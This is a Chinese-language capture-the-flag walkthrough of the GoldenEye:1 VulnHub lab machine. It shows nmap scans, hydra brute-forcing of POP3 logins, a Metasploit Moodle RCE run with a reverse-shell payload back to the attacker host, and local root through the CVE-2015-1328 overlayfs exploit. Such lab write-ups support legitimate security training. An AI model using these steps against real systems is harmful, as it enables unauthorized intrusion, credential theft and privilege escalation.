O X O X

001-Goldeneye

2022-08-14T07:21:00.000Z

项目Goldeneye

项目地址:https://www.vulnhub.com/entry/goldeneye-1,240/

Name: GoldenEye: 1
Date release: 4 May 2018
Author: creosote
Series: GoldenEye

Description

I recently got done creating an OSCP type vulnerable machine that's themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.

I'd rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there's a hint of CTF flavor.

I've created and validated on VMware and VirtualBox. You won't need any extra tools other than what's on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click "retry" if prompted, upon initially starting it up because of formatting.
## Changelog Beta - 2018-05-02 v1 - 2018-05-04

信息搜集

获取项目地址

1	nmap -sP 10.0.0.0/24

┌──(root㉿kali)-[~]
└─# nmap -sP 10.0.0.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-19 09:58 CST
Nmap scan report for OpenWrt.lan (10.0.0.1)
Host is up (0.00073s latency).
MAC Address: 00:15:5D:64:C0:01 (Microsoft)
Nmap scan report for PC-A.lan (10.0.0.2)
Host is up (0.00045s latency).
MAC Address: 00:15:5D:64:C0:00 (Microsoft)
Nmap scan report for ubuntu.lan (10.0.0.101)
Host is up (0.00044s latency).
MAC Address: 00:0C:29:75:99:20 (VMware)
Nmap scan report for kali.lan (10.0.0.3)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.07 seconds

确定项目ip为 10.0.0.101

扫描项目端口

┌──(root㉿kali)-[~]
└─# nmap 10.0.0.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-19 13:36 CST
Nmap scan report for 01.lan (10.0.0.101)
Host is up (0.00055s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
25/tcp open  smtp
80/tcp open  http
MAC Address: 00:0C:29:75:99:20 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

发现开放了80端口 25 smtp端口

目前信息

1 2	ip:10.0.0.101 port:25,80

访问80端口

得到信息 /sev-home/

访问此页面有个弹窗是个登录页面

接着查看主页面源代码发现js文件有点奇怪

var data = [
  {
    GoldenEyeText: "
Severnaya Auxiliary Control Station
****TOP SECRET ACCESS****
Accessing Server Identity
Server Name:....................
GOLDENEYE

User: UNKNOWN
Naviagate to /sev-home/ to login"
  }
];

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;

 
  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + ` `;
    var char = text.slice(-1);
    if (char === "<") isTag = true;
    if (char === ">") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}

//鲍里斯，确保你更新了你的默认密码。 
//我的消息来源说MI6可能计划渗透。 
//留意任何可疑的网络流量......
//
//我在下面给你编码了 p@ssword...
//
//InvincibleHa ck3r
//
//顺便说一句，娜塔莉亚说她可以破解你的密码

取出有用信息

已知信息
ip:10.0.0.101
port:25,80
login:/sev-home/
password:InvincibleHack3r
此password不难看出为html实体编码
解码后得到:InvincibleHack3r

password:InvincibleHack3r
name1=Boris
name2=Natalya

尝试用name 和password 进行登入

最终 name=boris;password=InvincibleHack3r登陆成功

GoldenEye 是一个绝密的苏联东方武器项目。  由于您有权访问，因此您肯定持有绝密许可并有资格成为经过认证的 GoldenEye 网络运营商 (GNO)

 请向合格的 GNO 主管发送电子邮件，以接受在线 GoldenEye 操作员培训，成为 GoldenEye 系统的管理员

 请记住，由于默默无闻的安全性非常有效，我们已将 pop3 服务配置为在非常高的非默认端口上运行

根据信息能得知还有隐藏的端口为pop3服务

扫描隐藏端口服务

nmap -p- 10.0.0.101

┌──(root㉿kali)-[~/100project/001]
└─# nmap -p- 10.0.0.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-19 15:37 CST
Nmap scan report for 01.lan (10.0.0.101)
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
55006/tcp open  unknown
55007/tcp open  unknown
MAC Address: 00:0C:29:75:99:20 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.15 seconds

发现 55006 55007端口然后继续扫描

┌──(root㉿kali)-[~/100project/001]
└─# nmap -p55006,55007 10.0.0.101 -sS -sV -A -T5
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-19 15:39 CST
Nmap scan report for 01.lan (10.0.0.101)
Host is up (0.0011s latency).

PORT      STATE SERVICE  VERSION
55006/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE PIPELINING UIDL USER SASL(PLAIN) CAPA RESP-CODES TOP
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
55007/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: PIPELINING UIDL SASL(PLAIN) STLS RESP-CODES AUTH-RESP-CODE CAPA USER TOP
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:75:99:20 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.06 ms 01.lan (10.0.0.101)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.25 seconds

能确认55006 ssl/pop3 55007 pop3

那么接着使用九头蛇爆破pop3端口

hydra 爆破pop3

# 使用上面 搜集的两个用户名进行爆破
┌──(root㉿kali)-[~/100project/001]
└─# cat success.txt
# Hydra v9.3 run at 2022-08-22 16:50:19 on 10.0.0.101 pop3 (hydra -L name.txt -P password.txt -o success.txt -t 64 -s 55007 10.0.0.101 pop3)
[55007][pop3] host: 10.0.0.101   login: boris   password: secret1!
[55007][pop3] host: 10.0.0.101   login: Boris   password: secret1!
[55007][pop3] host: 10.0.0.101   login: natalya   password: bird
[55007][pop3] host: 10.0.0.101   login: Natalya   password: bird

nc登录pop3查看邮件

boris的邮件

┌──(root㉿kali)-[~/100project/001]
└─# nc 10.0.0.101 55007     
+OK GoldenEye POP3 Electronic-Mail System
user Boris      # 输入账号
+OK
pass secret1!# 输入密码
+OK Logged in.
list
+OK 3 messages:
1 544
2 373
3 921
.
retr 1#读取邮件
+OK 544 octets
Return-Path: 
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for ; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.

# 鲍里斯，这是管理员。您可以在此处与同事和学生进行电子交流。我不会扫描电子邮件是否存在安全风险，因为我相信你和这里的其他管理员
.
retr 2
+OK 373 octets
Return-Path: 
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for ; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!

.
retr 3
+OK 921 octets
Return-Path: 
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for ; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

# 鲍里斯，

# 您与我们辛迪加的合作将获得丰厚回报。附件是 GoldenEye 的最终访问代码。将它们放在此服务器根目录中的隐藏文件中，然后从该电子邮件中删除。这些访问代码只能有一组，我们需要保护它们以供最终执行。如果他们被找回并被俘虏，我们的计划将会崩溃和燃烧！

# 一旦 Xenia 进入培训站点并熟悉 GoldenEye 终端代码，我们将进入最后阶段......

PS - 保持安全，否则我们将受到威胁

natalya的邮件

┌──(root㉿kali)-[~/100project/001]
└─# nc 10.0.0.101 55007
+OK GoldenEye POP3 Electronic-Mail System
user Natalya
+OK
pass bird
+OK Logged in.
list
+OK 2 messages:
1 631
2 1048
.
retr 1
+OK 631 octets
Return-Path: 
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for ; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

#娜塔莉亚，请你不要再破坏鲍里斯的密码了。此外，您是 GNO 培训主管。一旦学生被指定给您，我将通过电子邮件发送给您。

#此外，请注意可能的网络漏洞。我们获悉 GoldenEye 正受到一个名为 Janus 的犯罪集团的追捕
.
retr 2
+OK 1048 octets
Return-Path: 
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for ; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.


好的，娜塔琳，我有一个新学生要给你。由于这是一个新系统，如果您发现任何配置问题，请让我或鲍里斯知道，尤其是它与安全性有关...即使不是，只需以“安全性”为幌子输入...它会毫不费力地升级变更单 :)

好的，用户信用是：

用户名：xenia
密码：RCP90rulez！

Boris 验证了她是一个有效的承包商，所以只需创建帐户，好吗？

如果您没有外部内部域的 URL：severnaya-station.com/gnocertdir
**请确保编辑您的主机文件，因为您通常在远程离线工作......

由于您是 Linux 用户，只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com

信息
url:severnaya-station.com/gnocertdir
username:xenia
password:RCP90rulez!

给项目地址绑定host

访问severnaya-station.com

这是一个php站点 moodle cms

发现email username doak

然后继续hydra爆破

得到密码 goat

nc登录doak

┌──(root㉿kali)-[~/100project/001]
└─# nc 10.0.0.101 55007
+OK GoldenEye POP3 Electronic-Mail System
user doak
+OK
pass goat
+OK Logged in.
list
+OK 1 messages:
1 606
.
retr 1
+OK 606 octets
Return-Path: 
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for ; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

.

得到用户密码dr_doak:4England!

登录dr_dock账号

发现特殊文件

发现url /dir007key/for-007.jpg

下载图片分析

┌──(root㉿kali)-[~/100project/001]
└─# wget http://severnaya-station.com/dir007key/for-007.jpg
--2022-08-23 15:38:48--  http://severnaya-station.com/dir007key/for-007.jpg
正在解析主机 severnaya-station.com (severnaya-station.com)... 10.0.0.101
正在连接 severnaya-station.com (severnaya-station.com)|10.0.0.101|:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：14896 (15K) [image/jpeg]
正在保存至: “for-007.jpg”

for-007.jpg                   100%[=================================================>]  14.55K  --.-KB/s  用时 0s

2022-08-23 15:38:48 (111 MB/s) - 已保存 “for-007.jpg” [14896/14896])

┌──(root㉿kali)-[~/100project/001]
└─# exiftool for-007.jpg
ExifTool Version Number         : 12.44
File Name                       : for-007.jpg
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2018:04:25 08:40:02+08:00
File Access Date/Time           : 2022:08:23 15:39:33+08:00
File Inode Change Date/Time     : 2022:08:23 15:38:48+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 300
Y Resolution                    : 300
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : eFdpbnRlcjE5OTV4IQ==
Make                            : GoldenEye
Resolution Unit                 : inches
Software                        : linux
Artist                          : For James
Y Cb Cr Positioning             : Centered
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
User Comment                    : For 007
Flashpix Version                : 0100
Image Width                     : 313
Image Height                    : 212
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 313x212
Megapixels                      : 0.066

发现描述里的内容有点特殊,有两个==号猜测可能经过base64编码

尝试base64解码

得到xWinter1995x!

使用得到的密码进行admin登录

登录成功

信息搜集汇总

ip:10.0.0.101
host:severnaya-station.com
posts:25,80,55006,5007

cms:2.2.3 moodle

账户密码
url: 10.0.0.101 55007
boris:secret1!
natalya:bird
doak:goat

url:severnaya-station.com/gnocertdir
xenia:RCP90rulez!
dr_doak:4England!
admin:xWinter1995x!

漏洞利用

已知 cms为2.2.3 moodle

谷歌搜索moodle 2.2.3 exploit

在exploit-db找到 cve2013-3630

使用msf进行漏洞利用

搜索exp

┌──(root㉿kali)-[~]
└─# msfconsole

                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]


       =[ metasploit v6.2.11-dev                          ]
+ -- --=[ 2233 exploits - 1179 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services

msf6 > search moodle

Matching Modules
================

   #  Name                                                          Disclosure Date  Rank       Check  Description
   -  ----                                                          ---------------  ----       -----  -----------
   0  exploit/multi/http/moodle_admin_shell_upload                  2019-04-28       excellent  Yes    Moodle Admin Shell Upload
   1  exploit/multi/http/moodle_spelling_binary_rce                 2013-10-30       excellent  Yes    Moodle Authenticated Spelling Binary RCE
   2  exploit/multi/http/moodle_spelling_path_rce                   2021-06-22       excellent  Yes    Moodle SpellChecker Path Authenticated Remote Command Execution
   3  exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce  2020-07-20       good       Yes    Moodle Teacher Enrollment Privilege Escalation to RCE


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce

也可以搜索 cve 2013-3630

msf6 > search cve 2013-3630

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/multi/http/moodle_spelling_binary_rce  2013-10-30       excellent  Yes    Moodle Authenticated Spelling Binary RCE
   1  exploit/multi/http/moodle_spelling_path_rce    2021-06-22       excellent  Yes    Moodle SpellChecker Path Authenticated Remote Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/http/moodle_spelling_path_rce

使用exp

msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
use 0                             ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin                ---设置用户名：admin
set password xWinter1995x!        ---设置密码：xWinter1995x!
set rhost severnaya-station.com   ---设置：rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录： /gnocertdir
set payload cmd/unix/reverse      ---设置payload：cmd/unix/reverse
set lhost 10.0.0.3           ---设置：lhost 10.0.0.3（需要本地IP）
run  ----执行命令

msf6 > use 0
msf6 exploit(multi/http/moodle_spelling_binary_rce) > show options

Module options (exploit/multi/http/moodle_spelling_binary_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using
                                         -Metasploit
   RPORT      80               yes       The target port (TCP)
   SESSKEY                     no        The session key of the user to impersonate
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /moodle/         yes       The URI of the Moodle installation
   USERNAME   admin            yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/http/moodle_spelling_binary_rce) > set password xWinter1995x!
password => xWinter1995x!
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set rhost severnaya-station.com
rhost => severnaya-station.com
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set targeturi /gnocertdir
targeturi => /gnocertdir
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set lhost 10.0.0.3
lhost => 10.0.0.3
msf6 exploit(multi/http/moodle_spelling_binary_rce) > run

[*] Started reverse TCP double handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 2.2 detected
[*] Authenticating as user: admin
[*] Getting session key to update spellchecker if no session key was specified
[*] Updating spellchecker to use the system aspell
[*] Triggering payload
[*] Exploit completed, but no session was created.

发现没有运行成功

查看exp需要pspellshell

使用admin登录http://severnaya-station.com/gnocertdir

在settings->Site administration->Plugins->Text editors->YinyMCE HTML editor处

修改speel engine 为pspellshell

然后保存 msf执行

msf6 exploit(multi/http/moodle_spelling_binary_rce) > run

[*] Started reverse TCP double handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 2.2 detected
[*] Authenticating as user: admin
[*] Getting session key to update spellchecker if no session key was specified
[*] Updating spellchecker to use the system aspell
[*] Triggering payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 7YPpFMOnfF8gG8B3;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "7YPpFMOnfF8gG8B3\r\n"
[*] Matching...
[*] B is input...
whoami[*] Command shell session 2 opened (10.0.0.3:4444 -> 10.0.0.101:47575) at 2022-08-26 11:16:45 +0800


www-data

然后执行tty 因为获得的权限无框架：执行

查看有没有安装python

1
2

whereis python
python: /usr/bin/python3.4m /usr/bin/python /usr/bin/python3.4 /usr/bin/python2.7 /etc/python /etc/python3.4 /etc/python2.7 /usr/lib/python3.4 /usr/lib/python2.7 /usr/bin/X11/python3.4m /usr/bin/X11/python /usr/bin/X11/python3.4 /usr/bin/X11/python2.7 /usr/local/lib/python3.4 /usr/local/lib/python2.7 /usr/share/python /usr/share/man/man1/python.1.gz

使用python 获得tty shell

python -c "import pty;pty.spawn('/bin/bash')"

查看内核版本

python -c "import pty;pty.spawn('/bin/bash')"
cd /tmp
cd /tmp
www-data@01:/tmp$ uname -a
uname -a
Linux 01 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
www-data@01:/tmp$

提权

已知内核版本为3.13.0

搜索3.13.0 提权

在exploit-db找到 cve 2015-1328

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24

查看代码需要使用gcc编译

查看有没有gcc环境

1
2
3

www-data@01:/tmp$ gcc
gcc
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'

没有查看有没有cc环境

www-data@01:/tmp$ cc
cc
clang: error: no input files
www-data@01:/tmp$

报错显示没有输入文件,所以有

修改exp,gcc修改为cc

www-data@01:/tmp$ cc 1.c -o exp
cc 1.c -o exp
1.c:62:1: warning: control may reach end of non-void function [-Wreturn-type]
}
^
1.c:74:12: warning: implicit declaration of function 'unshare' is invalid in C99 [-Wimplicit-function-declaration]
        if(unshare(CLONE_NEWUSER) != 0)
           ^
1.c:79:17: warning: implicit declaration of function 'clone' is invalid in C99 [-Wimplicit-function-declaration]
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
                ^
1.c:85:13: warning: implicit declaration of function 'waitpid' is invalid in C99 [-Wimplicit-function-declaration]
            waitpid(pid, &status, 0);
            ^
1.c:95:5: warning: implicit declaration of function 'wait' is invalid in C99 [-Wimplicit-function-declaration]
    wait(NULL);
    ^
5 warnings generated.
www-data@01:/tmp$ ./exp
./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#

提权成功

接着查找flag了

# find / -name "*flag*"
find / -name "*flag*"
/usr/lib/llvm-3.4/build/autoconf/m4/cxx_flag_check.m4
/usr/lib/perl/5.18.2/bits/waitflags.ph
/usr/share/help-langpack/en_GB/evolution/mail-follow-up-flag.page
/usr/share/help-langpack/en_GB/gnome-mines/flags.page
/usr/share/man/man3/fesetexceptflag.3.gz
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man1/doveadm-flags.1.gz
/usr/src/linux-headers-3.13.0-32/scripts/coccinelle/locks/flags.cocci
/usr/src/linux-headers-3.13.0-32/arch/c6x/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/frv/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/parisc/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/score/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/s390/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/um/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/unicore32/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/x86/kernel/cpu/mkcapflags.sh
/usr/src/linux-headers-3.13.0-32/arch/x86/include/asm/processor-flags.h
/usr/src/linux-headers-3.13.0-32/arch/x86/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/x86/include/uapi/asm/processor-flags.h
/usr/src/linux-headers-3.13.0-32/arch/mn10300/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/openrisc/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/hexagon/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/alpha/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/sh/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/metag/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/m32r/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/arm64/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/powerpc/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/arm/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/microblaze/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/xtensa/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/tile/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/sparc/include/asm/irqflags_32.h
/usr/src/linux-headers-3.13.0-32/arch/sparc/include/asm/irqflags_64.h
/usr/src/linux-headers-3.13.0-32/arch/sparc/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/ia64/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/arc/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/mips/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/avr32/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/cris/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/cris/include/arch-v32/arch/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/cris/include/arch-v10/arch/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/m68k/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/arch/blackfin/include/asm/irqflags.h
/usr/src/linux-headers-3.13.0-32/include/uapi/linux/kernel-page-flags.h
/usr/src/linux-headers-3.13.0-32/include/uapi/linux/tty_flags.h
/usr/src/linux-headers-3.13.0-32/include/linux/page-flags.h
/usr/src/linux-headers-3.13.0-32/include/linux/pageblock-flags.h
/usr/src/linux-headers-3.13.0-32/include/linux/kernel-page-flags.h
/usr/src/linux-headers-3.13.0-32/include/linux/page-flags-layout.h
/usr/src/linux-headers-3.13.0-32/include/linux/page-debug-flags.h
/usr/src/linux-headers-3.13.0-32/include/linux/irqflags.h
/usr/src/linux-headers-3.13.0-32/include/trace/events/gfpflags.h
/usr/src/linux-headers-3.13.0-32/include/asm-generic/irqflags.h
/usr/src/linux-headers-3.13.0-32-generic/include/config/arch/hweight/cflags.h
/usr/src/linux-headers-3.13.0-32-generic/include/config/pageflags
/usr/src/linux-headers-3.13.0-32-generic/include/config/zone/dma/flag.h
/usr/src/linux-headers-3.13.0-32-generic/include/config/trace/irqflags
/usr/src/linux-headers-3.13.0-32-generic/include/linux/page-flags.h
/usr/src/linux-headers-3.13.0-32-generic/include/linux/pageblock-flags.h
/usr/src/linux-headers-3.13.0-32-generic/include/linux/kernel-page-flags.h
/usr/src/linux-headers-3.13.0-32-generic/include/linux/page-flags-layout.h
/usr/src/linux-headers-3.13.0-32-generic/include/linux/page-debug-flags.h
/usr/src/linux-headers-3.13.0-32-generic/include/linux/irqflags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/proc/kpageflags
/proc/sys/kernel/acpi_video_flags
/var/www/html/006-final/x8vtfinal-flag.gif
/var/www/html/006-final/xvf7-flag
/var/www/html/gnocertdir/pix/i/unflagged.png
/var/www/html/gnocertdir/pix/i/flagged.png
/var/www/html/gnocertdir/question/flags.js
